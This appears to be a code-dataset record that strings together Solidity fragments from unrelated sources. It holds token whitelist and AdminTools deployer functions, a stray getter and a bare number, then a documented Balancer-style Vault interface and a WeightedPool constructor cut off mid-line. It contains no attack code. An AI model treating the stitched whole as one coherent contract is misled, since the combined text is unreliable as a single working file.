require(_subscriber != address(0), "_subscriber is zero"); require(!whitelist[_subscriber].permitted, "already whitelisted"); whitelistLength++; whitelist[_subscriber].permitted = true; whitelist[_subscriber].maxAmount = _maxAmnt; emit LogWLAddressAdded(); } /** * @dev Add the subscriber list to the whitelist (max 100) * @param _subscriber The subscriber list to add to the whitelist. * @param _maxAmnt max amount list that a subscriber can hold (in set tokens). */ function addToWhitelistMassive(address[] calldata _subscriber, uint256[] calldata _maxAmnt) external onlyWLOperators returns (bool _success) { assert(_subscriber.length == _maxAmnt.length); assert(_subscriber.length <= 100); for (uint8 i = 0; i < _subscriber.length; i++) { require(_subscriber[i] != address(0), "_subscriber is zero"); require(!whitelist[_subscriber[i]].permitted, "already whitelisted"); whitelistLength++; whitelist[_subscriber[i]].permitted = true; whitelist[_subscriber[i]].maxAmount = _maxAmnt[i]; } emit LogWLMassiveAddressesAdded(); return true; } /** * @dev Remove the subscriber from the whitelist. * @param _subscriber The subscriber remove from the whitelist. * @param _balance balance of a subscriber to be under the anonymous threshold, otherwise de-whilisting not permitted. */ function removeFromWhitelist(address _subscriber, uint256 _balance) external onlyWLOperators { require(_subscriber != address(0), "_subscriber is zero"); require(whitelist[_subscriber].permitted, "not whitelisted"); require(_balance <= whitelistThresholdBalance, "balance greater than whitelist threshold"); whitelistLength--; whitelist[_subscriber].permitted = false; whitelist[_subscriber].maxAmount = 0; emit LogWLAddressRemoved(); } } interface IATDeployer { function newAdminTools(uint256) external returns(address); function setFactoryAddress(address) external; function getFactoryAddress() external view returns(address); } contract ATDeployer is Ownable, IATDeployer { address private fAddress; event ATDeployed(uint deployedBlock); //constructor() public {} modifier onlyFactory() { require(msg.sender == fAddress, "Address not allowed to create AT Contract!"); _; } /** * @dev Set the factory address for deployment. * @param _fAddress The factory address. */ function setFactoryAddress(address _fAddress) external onlyOwner { require(block.number < 8850000, "Time expired!"); require(_fAddress != address(0), "Address not allowed"); fAddress = _fAddress; } /** * @dev Get the factory address for deployment. */ function getFactoryAddress() external view returns(address) { return fAddress; } /** * @dev deployment of a new AdminTools contract * @return address of the deployed AdminTools contract */ function newAdminTools(uint256 _whitelistThresholdBalance) external onlyFactory returns(address) { AdminTools c = new AdminTools(_whitelistThresholdBalance); c.transferOwnership(msg.sender); emit ATDeployed (block.number); return address(c); } }
Wallet receiving extra minted tokens (percentage) /
function getWalletOnTopAddress() external view returns (address) { return _walletOnTopAddress; }
895,999
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma experimental ABIEncoderV2; import "../../lib/openzeppelin/IERC20.sol"; import "./IWETH.sol"; import "./IAsset.sol"; import "./IAuthorizer.sol"; import "./IFlashLoanRecipient.sol"; import "../ProtocolFeesCollector.sol"; import "../../lib/helpers/ISignaturesValidator.sol"; import "../../lib/helpers/ITemporarilyPausable.sol"; pragma solidity ^0.7.0; /** * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that * don't override one of these declarations. */ interface IVault is ISignaturesValidator, ITemporarilyPausable { // Generalities about the Vault: // // - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are // transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling // `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by // calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning // a boolean value: in these scenarios, a non-reverting call is assumed to be successful. // // - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g. // while execution control is transferred to a token contract during a swap) will result in a revert. View // functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results. // Contracts calling view functions in the Vault must make sure the Vault has not already been entered. // // - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools. // Authorizer // // Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists // outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller // can perform a given action. /** * @dev Returns the Vault's Authorizer. */ function getAuthorizer() external view returns (IAuthorizer); /** * @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this. * * Emits an `AuthorizerChanged` event. */ function setAuthorizer(IAuthorizer newAuthorizer) external; /** * @dev Emitted when a new authorizer is set by `setAuthorizer`. */ event AuthorizerChanged(IAuthorizer indexed newAuthorizer); // Relayers // // Additionally, it is possible for an account to perform certain actions on behalf of another one, using their // Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions, // and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield // this power, two things must occur: // - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This // means that Balancer governance must approve each individual contract to act as a relayer for the intended // functions. // - Each user must approve the relayer to act on their behalf. // This double protection means users cannot be tricked into approving malicious relayers (because they will not // have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised // Authorizer or governance drain user funds, since they would also need to be approved by each individual user. /** * @dev Returns true if `user` has approved `relayer` to act as a relayer for them. */ function hasApprovedRelayer(address user, address relayer) external view returns (bool); /** * @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise. * * Emits a `RelayerApprovalChanged` event. */ function setRelayerApproval( address sender, address relayer, bool approved ) external; /** * @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`. */ event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved); // Internal Balance // // Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later // transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination // when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced // gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users. // // Internal Balance management features batching, which means a single contract call can be used to perform multiple // operations of different kinds, with different senders and recipients, at once. /** * @dev Returns `user`'s Internal Balance for a set of tokens. */ function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory); /** * @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer) * and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as * it lets integrators reuse a user's Vault allowance. * * For each operation, if the caller is not `sender`, it must be an authorized relayer for them. */ function manageUserBalance(UserBalanceOp[] memory ops) external payable; /** * @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received without manual WETH wrapping or unwrapping. */ struct UserBalanceOp { UserBalanceOpKind kind; IAsset asset; uint256 amount; address sender; address payable recipient; } // There are four possible operations in `manageUserBalance`: // // - DEPOSIT_INTERNAL // Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding // `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`. // // ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped // and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is // relevant for relayers). // // Emits an `InternalBalanceChanged` event. // // // - WITHDRAW_INTERNAL // Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`. // // ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send // it to the recipient as ETH. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_INTERNAL // Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`. // // Reverts if the ETH sentinel value is passed. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_EXTERNAL // Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by // relayers, as it lets them reuse a user's Vault allowance. // // Reverts if the ETH sentinel value is passed. // // Emits an `ExternalBalanceTransfer` event. enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL } /** * @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through * interacting with Pools using Internal Balance. * * Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH * address. */ event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta); /** * @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account. */ event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount); // Pools // // There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced // functionality: // // - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the // balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads), // which increase with the number of registered tokens. // // - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the // balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted // constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are // independent of the number of registered tokens. // // - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like // minimal swap info Pools, these are called via IMinimalSwapInfoPool. enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN } /** * @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which * is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be * changed. * * The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`, * depending on the chosen specialization setting. This contract is known as the Pool's contract. * * Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words, * multiple Pools may share the same contract. * * Emits a `PoolRegistered` event. */ function registerPool(PoolSpecialization specialization) external returns (bytes32); /** * @dev Emitted when a Pool is registered by calling `registerPool`. */ event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization); /** * @dev Returns a Pool's contract address and specialization setting. */ function getPool(bytes32 poolId) external view returns (address, PoolSpecialization); /** * @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens, * exit by receiving registered tokens, and can only swap registered tokens. * * Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length * of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in * ascending order. * * The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset * Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`, * depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore * expected to be highly secured smart contracts with sound design principles, and the decision to register an * Asset Manager should not be made lightly. * * Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset * Manager is set, it cannot be changed except by deregistering the associated token and registering again with a * different Asset Manager. * * Emits a `TokensRegistered` event. */ function registerTokens( bytes32 poolId, IERC20[] memory tokens, address[] memory assetManagers ) external; /** * @dev Emitted when a Pool registers tokens by calling `registerTokens`. */ event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers); /** * @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total * balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens * must be deregistered in the same `deregisterTokens` call. * * A deregistered token can be re-registered later on, possibly with a different Asset Manager. * * Emits a `TokensDeregistered` event. */ function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external; /** * @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`. */ event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens); /** * @dev Returns detailed information for a Pool's registered token. * * `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens * withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token` * equals the sum of `cash` and `managed`. * * Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`, * `managed` or `total` balance to be greater than 2^112 - 1. * * `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a * join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for * example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a * change for this purpose, and will update `lastChangeBlock`. * * `assetManager` is the Pool's token Asset Manager. */ function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); /** * @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of * the tokens' `balances` changed. * * The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all * Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order. * * If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same * order as passed to `registerTokens`. * * Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are * the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo` * instead. */ function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock ); /** * @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will * trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized * Pool shares. * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount * to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces * these maximums. * * If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable * this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the * WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent * back to the caller (not the sender, which is important for relayers). * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be * sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final * `assets` array might not be sorted. Pools with no registered tokens cannot be joined. * * If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only * be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be * withdrawn from Internal Balance: attempting to do so will trigger a revert. * * This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed * directly to the Pool's contract, as is `recipient`. * * Emits a `PoolBalanceChanged` event. */ function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } /** * @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will * trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized * Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see * `getPoolTokenInfo`). * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum * token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault: * it just enforces these minimums. * * If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To * enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead * of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit. * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must * be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the * final `assets` array might not be sorted. Pools with no registered tokens cannot be exited. * * If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise, * an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to * do so will trigger a revert. * * `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the * `tokens` array. This array must match the Pool's registered tokens. * * This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and * passed directly to the Pool's contract. * * Emits a `PoolBalanceChanged` event. */ function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest memory request ) external; struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } /** * @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively. */ event PoolBalanceChanged( bytes32 indexed poolId, address indexed liquidityProvider, IERC20[] tokens, int256[] deltas, uint256[] protocolFeeAmounts ); enum PoolBalanceChangeKind { JOIN, EXIT } // Swaps // // Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this, // they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be // aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote. // // The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence. // In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'), // and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out'). // More complex swaps, such as one token in to multiple tokens out can be achieved by batching together // individual swaps. // // There are two swap kinds: // - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the // `onSwap` hook) the amount of tokens out (to send to the recipient). // - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines // (via the `onSwap` hook) the amount of tokens in (to receive from the sender). // // Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with // the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated // tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended // swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at // the final intended token. // // In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal // Balance) after all individual swaps have been completed, and the net token balance change computed. This makes // certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost // much less gas than they would otherwise. // // It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple // Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only // updating the Pool's internal accounting). // // To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token // involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the // minimum amount of tokens to receive (by passing a negative value) is specified. // // Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after // this point in time (e.g. if the transaction failed to be included in a block promptly). // // If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do // the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be // passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the // same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers). // // Finally, Internal Balance can be used when either sending or receiving tokens. enum SwapKind { GIVEN_IN, GIVEN_OUT } /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external payable returns (uint256); /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev Emitted for each individual swap performed by `swap` or `batchSwap`. */ event Swap( bytes32 indexed poolId, IERC20 indexed tokenIn, IERC20 indexed tokenOut, uint256 amountIn, uint256 amountOut ); /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be * simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result. * * Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH) * the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it * receives are the same that an equivalent `batchSwap` call would receive. * * Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct. * This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens, * approve them for the Vault, or even know a user's address. * * Note that this function is not 'view' (due to implementation details): the client code must explicitly execute * eth_call instead of eth_sendTransaction. */ function queryBatchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds ) external returns (int256[] memory assetDeltas); // Flash Loans /** * @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it, * and then reverting unless the tokens plus a proportional protocol fee have been returned. * * The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount * for each token contract. `tokens` must be sorted in ascending order. * * The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the * `receiveFlashLoan` call. * * Emits `FlashLoan` events. */ function flashLoan( IFlashLoanRecipient recipient, IERC20[] memory tokens, uint256[] memory amounts, bytes memory userData ) external; /** * @dev Emitted for each individual flash loan performed by `flashLoan`. */ event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount); // Asset Management // // Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's // tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see // `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly // controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the // prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore // not constrained to the tokens they are managing, but extends to the entire Pool's holdings. // // However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit, // for example by lending unused tokens out for interest, or using them to participate in voting protocols. // // This concept is unrelated to the IAsset interface. /** * @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates. * * Pool Balance management features batching, which means a single contract call can be used to perform multiple * operations of different kinds, with different Pools and tokens, at once. * * For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`. */ function managePoolBalance(PoolBalanceOp[] memory ops) external; struct PoolBalanceOp { PoolBalanceOpKind kind; bytes32 poolId; IERC20 token; uint256 amount; } /** * Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged. * * Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged. * * Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total. * The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss). */ enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE } /** * @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`. */ event PoolBalanceManaged( bytes32 indexed poolId, address indexed assetManager, IERC20 indexed token, int256 cashDelta, int256 managedDelta ); // Protocol Fees // // Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by // permissioned accounts. // // There are two kinds of protocol fees: // // - flash loan fees: charged on all flash loans, as a percentage of the amounts lent. // // - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including // swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather, // Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the // Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as // exiting a Pool in debt without first paying their share. /** * @dev Returns the current protocol fee module. */ function getProtocolFeesCollector() external view returns (ProtocolFeesCollector); /** * @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an * error in some part of the system. * * The Vault can only be paused during an initial time period, after which pausing is forever disabled. * * While the contract is paused, the following features are disabled: * - depositing and transferring internal balance * - transferring external balance (using the Vault's allowance) * - swaps * - joining Pools * - Asset Manager interactions * * Internal Balance can still be withdrawn, and Pools exited. */ function setPaused(bool paused) external; /** * @dev Returns the Vault's WETH instance. */ function WETH() external view returns (IWETH); // solhint-disable-previous-line func-name-mixedcase } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../lib/math/FixedPoint.sol"; import "../../lib/helpers/InputHelpers.sol"; import "../BaseMinimalSwapInfoPool.sol"; import "./WeightedMath.sol"; import "./WeightedPoolUserDataHelpers.sol"; // This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage // reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus total // count, resulting in a large number of state variables. contract WeightedPool is BaseMinimalSwapInfoPool, WeightedMath { using FixedPoint for uint256; using WeightedPoolUserDataHelpers for bytes; // The protocol fees will always be charged using the token associated with the max weight in the pool. // Since these Pools will register tokens only once, we can assume this index will be constant. uint256 private immutable _maxWeightTokenIndex; uint256 private immutable _normalizedWeight0; uint256 private immutable _normalizedWeight1; uint256 private immutable _normalizedWeight2; uint256 private immutable _normalizedWeight3; uint256 private immutable _normalizedWeight4; uint256 private immutable _normalizedWeight5; uint256 private immutable _normalizedWeight6; uint256 private immutable _normalizedWeight7; uint256 private _lastInvariant; enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT } enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT } constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory normalizedWeights, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BaseMinimalSwapInfoPool( vault, name, symbol, tokens, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { uint256 numTokens = tokens.length; InputHelpers.ensureInputLengthMatch(numTokens, normalizedWeights.length); // Ensure each normalized weight is above them minimum and find the token index of the maximum weight uint256 normalizedSum = 0; uint256 maxWeightTokenIndex = 0; uint256 maxNormalizedWeight = 0; for (uint8 i = 0; i < numTokens; i++) { uint256 normalizedWeight = normalizedWeights[i]; _require(normalizedWeight >= _MIN_WEIGHT, Errors.MIN_WEIGHT); normalizedSum = normalizedSum.add(normalizedWeight); if (normalizedWeight > maxNormalizedWeight) { maxWeightTokenIndex = i; maxNormalizedWeight = normalizedWeight; } } // Ensure that the normalized weights sum to ONE _require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT); _maxWeightTokenIndex = maxWeightTokenIndex; _normalizedWeight0 = normalizedWeights.length > 0 ? normalizedWeights[0] : 0; 